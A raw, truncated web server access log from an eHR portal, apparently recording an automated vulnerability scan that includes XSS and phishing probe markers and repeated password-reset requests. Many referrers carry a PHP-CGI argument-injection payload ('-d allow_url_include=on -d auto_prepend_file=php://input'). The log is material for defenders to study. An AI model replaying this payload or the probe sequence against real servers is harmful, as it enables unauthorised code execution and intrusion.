/eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=ProbePhishing&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=ProbePhishing&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSWFXSSProbe HTTP/1.1" 200 6685 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSWFXSSProbe HTTP/1.1" 200 6685 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "ablcprobepa000004ab" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSablcprobepa000006ab" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.phpablcprobepa000007ab" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "POST /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "POST /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.phpablcprobepa000009ab" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "ablcprobepa000004ab" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.phpablcprobepa000008ab" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.phpablcprobepa000007ab" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ProbePhishing HTTP/1.1" 200 6685 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ProbePhishing HTTP/1.1" 200 6685 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" "Mozilla/5.0 (Windows NT 